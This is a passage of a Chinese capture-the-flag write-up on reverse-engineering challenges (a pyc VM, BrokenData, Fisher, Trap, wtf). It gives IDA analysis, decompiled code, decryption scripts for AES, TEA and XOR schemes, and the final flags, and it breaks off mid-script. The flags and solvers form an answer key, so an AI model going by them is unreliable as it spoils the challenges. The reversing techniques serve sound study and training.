[BINARY_OP RESULT] rdi=14
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=28
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=125
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=14
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=15
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=30
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=127
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=15
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=16
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=32
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=65
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=16
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=17
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=34
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=67
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=17
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=18
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=36
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=69
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=18
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=19
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=38
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=71
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=19
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=20
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=40
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=73
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=20
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=21
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=42
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=75
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=21
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=22
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=44
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=77
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=22
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=23
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=46
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=79
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=23
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=24
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=48
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=81
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.data:00007FF7B489C0A4 aAYwmXsiqvQtwcn db &apos;A_\YWm]XsIQV{QTwCn{wrM~{jqoghd&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;source = bytearray(b&apos;A_\\YWm]XsIQV{QTwCn{wrM~{jqoghd&apos;)

i = 0
while i &amp;lt; 15:
    tmp = source[i]
    source[i] = source[29 - i]
    source[29 - i] = tmp
    i += 1

i = 0
while i &amp;lt; 30:
    source[i] ^= (i + 1) * 2
    i += 1

print(source.decode(&apos;utf-8&apos;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{fun_fact_its_pyc_vm_code}&lt;/p&gt;
&lt;h2&gt;Week 3&lt;/h2&gt;
&lt;h1&gt;1.BrokenData&lt;/h1&gt;
&lt;p&gt;IDA打开main函数，flag的长度是56，经过加密后与存放在unk_7FF64906061C0的密文进行对比，长度为0xD0，十进制为208&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-040.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们的输入被存放在v11数组里，而程序里会复制一个字符串%es_&amp;amp;ou_fou**_ke%到v9数组，而我们输入的flag的第十一个字符，会被引用到v9数组中的第一个，第五个，第十七个这些位置，来补全v9，v9就是key，我们可以一个一个尝试，但这里也能明显看出来是‘Y’&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-041.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后通过sub_7FF6496022A0函数（MD5）对v9进行处理&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-042.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后sub_7FF6496022A0函数把输入的flag按dword_7FF6496022A0把我们的输入划分为13段&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-043.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-044.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后通过sub_7FF649601AA0函数对这13段进行AES-128加密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-045.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的13段长度都为16，不够的用flag【5】补充，sub_7FF649601100是11轮密钥扩展&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-046.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后就行对比&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-047.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct
import hashlib

EXE_PATH = &apos;BrokenData.exe&apos;
RVA = 0x61C0
LEN = 0xD0
SEG = [1,4,6,9,11,6,3,2,3,1,7,1,2]
BASE = b&quot;%es_&amp;amp;ou_fou**_ke%&quot;


def read_pe_rva(path, rva, size):
    with open(path,&apos;rb&apos;) as f:
        d=f.read()
    def u16(o): return struct.unpack_from(&apos;&amp;lt;H&apos;, d, o)[0]
    def u32(o): return struct.unpack_from(&apos;&amp;lt;I&apos;, d, o)[0]
    e=u32(0x3C)
    if d[e:e+4]!=b&apos;PE\x00\x00&apos;: raise RuntimeError(&apos;not PE&apos;)
    ns=u16(e+6); so=u16(e+20); opt=e+24; sec=opt+so
    for i in range(ns):
        o=sec+i*40
        vs=u32(o+8); va=u32(o+12); sr=u32(o+16); pr=u32(o+20)
        span=max(vs,sr)
        if va&amp;lt;=rva&amp;lt;va+span:
            off=pr+(rva-va)
            return d[off:off+size]
    raise RuntimeError(&apos;rva not found&apos;)


def md5(x):
    return hashlib.md5(x).digest()


class AES:
    def __init__(self,key):
        try:
            from Crypto.Cipher import AES as C
            self.t=&apos;p&apos;; self.o=C.new(key,C.MODE_ECB)
        except Exception:
            from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
            self.t=&apos;c&apos;; self.c=Cipher(algorithms.AES(key), modes.ECB())
    def dec(self,b):
        if self.t==&apos;p&apos;: return self.o.decrypt(b)
        d=self.c.decryptor(); return d.update(b)+d.finalize()
    def enc(self,b):
        if self.t==&apos;p&apos;: return self.o.encrypt(b)
        e=self.c.encryptor(); return e.update(b)+e.finalize()


def keys(c):
    k1=md5(BASE)
    m=bytearray(BASE); m[0]=c; m[4]=c; m[16]=c
    k2=md5(bytes(m))
    return k1,k2


def dec_all(ct,k1,k2):
    a1=AES(k1); a2=AES(k2)
    bl=[ct[i:i+16] for i in range(0,len(ct),16)]
    return [(a1.dec(b) if i%2==1 else a2.dec(b)) for i,b in enumerate(bl)]


def recon(pl):
    f=bytearray(); pad=None
    for i,p in enumerate(pl):
        n=SEG[i]; s=p[:n]; t=p[n:]
        if t:
            if pad is None: pad=t[0]
            if any(x!=pad for x in t): return None,None
        f.extend(s)
    return bytes(f), pad


def reenc(pl,k1,k2):
    a1=AES(k1); a2=AES(k2)
    out=bytearray()
    for i,p in enumerate(pl):
        out.extend(a1.enc(p) if i%2==1 else a2.enc(p))
    return bytes(out)


def main():
    ct=read_pe_rva(EXE_PATH,RVA,LEN)
    for c in range(32,127):
        k1,k2=keys(c)
        pl=dec_all(ct,k1,k2)
        flag,p=recon(pl)
        if flag is None: continue
        if reenc(pl,k1,k2)==ct:
            print(&apos;flag[10]=&apos;, chr(c))
            print(&apos;flag[5]=&apos;, chr(p) if p is not None else &apos;&apos;)
            print(&apos;len=&apos;, len(flag))
            try: print(&apos;flag=&apos;, flag.decode(&apos;utf-8&apos;))
            except: print(&apos;flag_hex=&apos;, flag.hex())
            return
    print(&apos;no candidate&apos;)


if __name__==&apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Wow!_You_restored_the_data_and_this_is_your_reward}&lt;/p&gt;
&lt;h1&gt;2.Fisher&lt;/h1&gt;
&lt;p&gt;IDA打开，看main函数，main函数里面是一个自定义的Base64，最后与tAZ5tAZ5tAZ5vg7F2RZF2RZQ0gv5yCfAxSZKzq==对比&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-048.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密函数sub_1400014B0&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-049.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;自定义的base64表&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-050.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但我们使用自定义的base64解密得到的是NO_NO_NO_This_is_the_bad_one，显然不只是一个自定义的base64那么简单&lt;/p&gt;
&lt;p&gt;具体的实现在__scrt_common_main_seh&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-051.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-052.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-053.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去看sub_140001000函数，他调用了sub_140001020函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-054.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_140001020函数有调用了sub_140001150函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-055.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_140001150函数有调用了sub_1400016A0函数&lt;/p&gt;
&lt;p&gt;构造 TEA 的 128 位密钥（按栈内存布局小端拼接，前 8 字节显式给定，后 8 字节来自已清零的区域）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a2[0] = 0x44332211 （ v9 = 1144201745 对应 0x44332211 ）&lt;/li&gt;
&lt;li&gt;a2[1] = 0x55667788 （由 v10=0x55, v11=0x66, v12=0x77, v13=0x88 ）&lt;/li&gt;
&lt;li&gt;a2[2] = 0x00000000&lt;/li&gt;
&lt;li&gt;a2[3] = 0x00000000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;把 64 字节明文分成 8 个连续的 8 字节块（每块 2× uint32 ），对每块调用一次 sub_1400016A0 （32 轮 TEA 变体）进行加密。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall sub_140001150(_BYTE *a1)
{
  char v2; // [rsp+20h] [rbp-C8h]
  int k; // [rsp+24h] [rbp-C4h]
  int j; // [rsp+28h] [rbp-C0h]
  _BYTE v5[64]; // [rsp+30h] [rbp-B8h]
  int v6; // [rsp+70h] [rbp-78h]
  _BYTE *i; // [rsp+78h] [rbp-70h]
  int v9; // [rsp+80h] [rbp-68h] BYREF
  char v10; // [rsp+84h] [rbp-64h]
  char v11; // [rsp+85h] [rbp-63h]
  char v12; // [rsp+86h] [rbp-62h]
  char v13; // [rsp+87h] [rbp-61h]
  _BYTE v14[64]; // [rsp+90h] [rbp-58h] BYREF

  sub_140001430();
  memset(v14, 0, sizeof(v14));
  v6 = 0;
  for ( i = a1; *i; ++i )
    ++v6;
  if ( v6 != 64 )
    return 0xFFFFFFFFLL;
  memcpy(v14, a1, sizeof(v14));
  v9 = 1144201745;
  v10 = 85;
  v11 = 102;
  v12 = 119;
  v13 = -120;
  for ( j = 0; j &amp;lt; 8; ++j )
    sub_1400016A0((unsigned int *)&amp;amp;v14[8 * j], &amp;amp;v9);
  v5[0] = 8;
  v5[1] = -18;
  v5[2] = 89;
  v5[3] = 77;
  v5[4] = 13;
  v5[5] = -32;
  v5[6] = -64;
  v5[7] = -119;
  v5[8] = -95;
  v5[9] = -104;
  v5[10] = -78;
  v5[11] = -69;
  v5[12] = -49;
  v5[13] = 112;
  v5[14] = 127;
  v5[15] = -27;
  v5[16] = -24;
  v5[17] = 47;
  v5[18] = -102;
  v5[19] = -118;
  v5[20] = 32;
  v5[21] = -53;
  v5[22] = 116;
  v5[23] = 18;
  v5[24] = -14;
  v5[25] = 48;
  v5[26] = 120;
  v5[27] = 31;
  v5[28] = 14;
  v5[29] = -21;
  v5[30] = 31;
  v5[31] = -120;
  v5[32] = -56;
  v5[33] = -68;
  v5[34] = 78;
  v5[35] = -8;
  v5[36] = 82;
  v5[37] = 19;
  v5[38] = 83;
  v5[39] = -117;
  v5[40] = -99;
  v5[41] = -65;
  v5[42] = 102;
  v5[43] = 11;
  v5[44] = 106;
  v5[45] = -84;
  v5[46] = 33;
  v5[47] = 79;
  v5[48] = -23;
  v5[49] = 31;
  v5[50] = 70;
  v5[51] = 70;
  v5[52] = -98;
  v5[53] = -53;
  v5[54] = -6;
  v5[55] = 99;
  v5[56] = -93;
  v5[57] = -123;
  v5[58] = 20;
  v5[59] = -55;
  v5[60] = 46;
  v5[61] = -9;
  v5[62] = 16;
  v5[63] = -59;
  v2 = 1;
  for ( k = 0; k &amp;lt; 64; ++k )
  {
    if ( v14[k] != v5[k] )
    {
      v2 = 0;
      break;
    }
  }
  if ( v2 )
    return 0;
  else
    return (unsigned int)-1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sub_1400016A0函数（TEA加密）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall sub_1400016A0(unsigned int *a1, _DWORD *a2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+0h] [rbp-28h]
  unsigned int v4; // [rsp+4h] [rbp-24h]
  int v5; // [rsp+8h] [rbp-20h]
  unsigned int i; // [rsp+Ch] [rbp-1Ch]

  v3 = *a1;
  v4 = a1[1];
  v5 = 0;
  for ( i = 0; i &amp;lt; 0x20; ++i )
  {
    v5 -= 1835914967;
    v3 += (a2[1] + (v4 &amp;gt;&amp;gt; 5)) ^ (v5 + v4) ^ (*a2 + 16 * v4);
    v4 += (a2[3] + (v3 &amp;gt;&amp;gt; 5)) ^ (v5 + v3) ^ (a2[2] + 16 * v3);
  }
  *a1 = v3;
  result = 4LL;
  a1[1] = v4;
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加密完成后再与sub_140001150函数里的64个密文做对比&lt;/p&gt;
&lt;p&gt;完整流程就是我们的输入会先进行一次自定义的base64编码，然后再进行TEA变种加密&lt;/p&gt;
&lt;p&gt;主要点在于strcmp(Str1, &quot;tAZ5tAZ5tAZ5vg7F2RZF2RZQ0gv5yCfAxSZKzq==&quot;)实际上跳到了 sub_140001150(Str1）&lt;/p&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

CUSTOM_ALPHABET = &quot;abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/&quot;
STD_ALPHABET = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;
MASK = 0xFFFFFFFF
DELTA = 1835914967

V5_BYTES = bytes([
    8, 238, 89, 77, 13, 224, 192, 137,
    161, 152, 178, 187, 207, 112, 127, 229,
    232, 47, 154, 138, 32, 203, 116, 18,
    242, 48, 120, 31, 14, 235, 31, 136,
    200, 188, 78, 248, 82, 19, 83, 139,
    157, 191, 102, 11, 106, 172, 33, 79,
    233, 31, 70, 70, 158, 203, 250, 99,
    163, 133, 20, 201, 46, 247, 16, 197,
])

K0 = 1144201745 &amp;amp; MASK
K1 = (85 &amp;amp; 0xFF) | ((102 &amp;amp; 0xFF) &amp;lt;&amp;lt; 8) | ((119 &amp;amp; 0xFF) &amp;lt;&amp;lt; 16) | ((136 &amp;amp; 0xFF) &amp;lt;&amp;lt; 24)
KEY = (K0, K1, 0, 0)

def tea_decrypt_block(v0, v1):
    sum_ = ((- (DELTA * 32)) &amp;amp; MASK)
    for _ in range(32):
        v1 = (v1 - (((KEY[3] + (v0 &amp;gt;&amp;gt; 5)) &amp;amp; MASK) ^ ((sum_ + v0) &amp;amp; MASK) ^ ((KEY[2] + ((v0 &amp;lt;&amp;lt; 4) &amp;amp; MASK)) &amp;amp; MASK))) &amp;amp; MASK
        v0 = (v0 - (((KEY[1] + (v1 &amp;gt;&amp;gt; 5)) &amp;amp; MASK) ^ ((sum_ + v1) &amp;amp; MASK) ^ ((KEY[0] + ((v1 &amp;lt;&amp;lt; 4) &amp;amp; MASK)) &amp;amp; MASK))) &amp;amp; MASK
        sum_ = (sum_ + DELTA) &amp;amp; MASK
    return v0, v1

def decrypt_v5_to_base64():
    out = bytearray()
    for i in range(0, 64, 8):
        v0 = int.from_bytes(V5_BYTES[i:i+4], &apos;little&apos;)
        v1 = int.from_bytes(V5_BYTES[i+4:i+8], &apos;little&apos;)
        dv0, dv1 = tea_decrypt_block(v0, v1)
        out += dv0.to_bytes(4, &apos;little&apos;)
        out += dv1.to_bytes(4, &apos;little&apos;)
    return bytes(out)

def custom_to_std_b64(s):
    table = {c: STD_ALPHABET[i] for i, c in enumerate(CUSTOM_ALPHABET)}
    return &apos;&apos;.join(&apos;=&apos; if c == &apos;=&apos; else table[c] for c in s)

def main():
    pre = decrypt_v5_to_base64().decode(&apos;ascii&apos;)
    std_b64 = custom_to_std_b64(pre)
    plain = base64.b64decode(std_b64)
    try:
        s = plain.decode(&apos;ascii&apos;)
        if s.startswith(&apos;flag{&apos;) and s.endswith(&apos;}&apos;):
            print(s)
        else:
            print(&apos;flag{&apos; + s + &apos;}&apos;)
    except UnicodeDecodeError:
        print(&apos;flag{&apos; + plain.hex() + &apos;}&apos;)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Fisherman_is_very_satisfied_with_your_bait}&lt;/p&gt;
&lt;h1&gt;3.Trap&lt;/h1&gt;
&lt;p&gt;IDA打卡，main函数如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-056.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;程序读取输入，通过sub_7FF77AD214E0来加密&lt;/p&gt;
&lt;p&gt;原文 P[i] ，加扰后的结果 E[i] ，密钥 K[j] ：&lt;/p&gt;
&lt;p&gt;E[0] = P[0] ^ K[0]&lt;/p&gt;
&lt;p&gt;E[i] = P[i] ^ (i%2 ? (K[i % 11] + 1) &amp;amp; 0xFF : K[i % 11]) ^ E[i-1] （ i &amp;gt;= 1 ）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-057.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而byte_140005680为空，我们用x查看引用，发现sub_140001200调用了他&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-058.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-059.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进去，看到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-060.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;key为[0x31, 0x69, 0x34, 0x57, 0x99, 0x35, 0x77, 0x11, 0x36, 0x52, 0x76]&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-061.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后边的这些就是干扰，反调试的，如果你要调试的话，就key和密文都要异或&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-062.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但实际上也调试不了&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-063.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后对比&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-064.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-065.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;E_hex = [
    0x57, 0x51, 0x04, 0x3b, 0xd9, 0xb6, 0xf1, 0x96,
    0xff, 0xc4, 0xf2, 0x96, 0xcc, 0xa6, 0xb4, 0x1b,
    0x4d, 0x01, 0x60, 0x32, 0x04, 0x2c, 0x5b, 0x43,
    0x47, 0x72, 0xb4, 0xb5, 0xb0, 0x96, 0xd0, 0xfe,
]
E = bytes(E_hex)

KEY = [
    0x31, 0x69, 0x34, 0x57, 0x99, 0x35, 0x77, 0x11, 0x36, 0x52, 0x76,
]


def decrypt(E, key):
    P = bytearray(len(E))
    n = len(key)
    for i in range(len(E)):
        k = key[i % n]
        if i &amp;amp; 1:
            k = (k + 1) &amp;amp; 0xFF
        P[i] = E[i] ^ k ^ (E[i - 1] if i else 0)
    return bytes(P)


if __name__ == &quot;__main__&quot;:
    print(decrypt(E, KEY).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Y0u_h@V3_E5c4ped_Fr0m_7r4p}&lt;/p&gt;
&lt;h1&gt;4.wtf&lt;/h1&gt;
&lt;p&gt;打开靶机&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-066.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;F12打开控制台，JS逆向，在元素里看到，我们输入，最后的打印结果有src.js来确定&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-067.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在资源里面找到src.js，是一个TEA算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var _a;
var ___Key = &apos;Komeji Satori&apos;;
var ans = [
  68, 241, 170, 187, 35, 199, 71, 125, 74, 176, 71, 216, 56, 85, 160, 159, 67, 234, 185, 29, 104, 120, 245, 18
];
(_a = document.querySelector(&apos;#submit&apos;)) === null || _a === void 0 ? void 0 : _a.addEventListener(&apos;click&apos;, function () {
  var flag = document.querySelector(&apos;#input&apos;);
  var input = flag.value;
  var bytes = new TextEncoder().encode(input);
  bytes[0] ^= 0x12;
  bytes[1] ^= 0x34;
  bytes[2] ^= 0x56;
  bytes[3] ^= 0x78;
  console.log(___Key);
  bytes = encode(bytes, ___Key);
  for (var i = 0; i &amp;lt; bytes.length; i++) {
    bytes[i] ^= ___Key[i % ___Key.length].charCodeAt(0);
  }
  for (var i = 0; i &amp;lt; ans.length; i++) {
    if (bytes[i] !== ans[i]) {
      document.querySelector(&apos;#input&apos;).value = &apos;Wrong flag!&apos;;
      return;
    }
  }
  document.querySelector(&apos;#input&apos;).value = &apos;Correct flag! you find Koishi!&apos;;
  document.body.style.backgroundImage = &apos;url(\&apos;koishi.webp\&apos;)&apos;;
  document.body.style.backgroundPosition = &apos;center&apos;;
});
function encode(input, key) {
  var _a;
  var keyBytes = new Uint8Array(16);
  var keyData = new TextEncoder().encode(key);
  for (var i = 0; i &amp;lt; 16; i++) {
    keyBytes[i] = keyData[i % keyData.length];
  }
  var k = new Uint32Array(4);
  for (var i = 0; i &amp;lt; 4; i++) {
    k[i] = (keyBytes[i * 4] &amp;lt;&amp;lt; 24) | (keyBytes[i * 4 + 1] &amp;lt;&amp;lt; 16) |
      (keyBytes[i * 4 + 2] &amp;lt;&amp;lt; 8) | keyBytes[i * 4 + 3];
  }
  var DELTA = 0x9e3779b9;
  function teaEncrypt(v0, v1) {
    var sum = 0;
    for (var i = 0; i &amp;lt; 32; i++) {
      sum = (sum + DELTA) &amp;gt;&amp;gt;&amp;gt; 0;
      v0 = (v0 + (((v1 &amp;lt;&amp;lt; 4) + k[0]) ^ (v1 + sum) ^ ((v1 &amp;gt;&amp;gt;&amp;gt; 5) + k[1]))) &amp;gt;&amp;gt;&amp;gt; 0;
      v1 = (v1 + (((v0 &amp;lt;&amp;lt; 4) + k[2]) ^ (v0 + sum) ^ ((v0 &amp;gt;&amp;gt;&amp;gt; 5) + k[3]))) &amp;gt;&amp;gt;&amp;gt; 0;
    }
    return [v0, v1];
  }
  var paddedLength = Math.ceil(input.length / 8) * 8;
  var padded = new Uint8Array(paddedLength);
  padded.set(input);
  for (var i = 0; i &amp;lt; paddedLength; i += 8) {
    var v0 = (padded[i] &amp;lt;&amp;lt; 24) | (padded[i + 1] &amp;lt;&amp;lt; 16) | (padded[i + 2] &amp;lt;&amp;lt; 8) |
      padded[i + 3];
    var v1 = (padded[i + 4] &amp;lt;&amp;lt; 24) | (padded[i + 5] &amp;lt;&amp;lt; 16) |
      (padded[i + 6] &amp;lt;&amp;lt; 8) | padded[i + 7];
    _a = teaEncrypt(v0, v1), v0 = _a[0], v1 = _a[1];
    padded[i] = (v0 &amp;gt;&amp;gt;&amp;gt; 24) &amp;amp; 0xFF;
    padded[i + 1] = (v0 &amp;gt;&amp;gt;&amp;gt; 16) &amp;amp; 0xFF;
    padded[i + 2] = (v0 &amp;gt;&amp;gt;&amp;gt; 8) &amp;amp; 0xFF;
    padded[i + 3] = v0 &amp;amp; 0xFF;
    padded[i + 4] = (v1 &amp;gt;&amp;gt;&amp;gt; 24) &amp;amp; 0xFF;
    padded[i + 5] = (v1 &amp;gt;&amp;gt;&amp;gt; 16) &amp;amp; 0xFF;
    padded[i + 6] = (v1 &amp;gt;&amp;gt;&amp;gt; 8) &amp;amp; 0xFF;
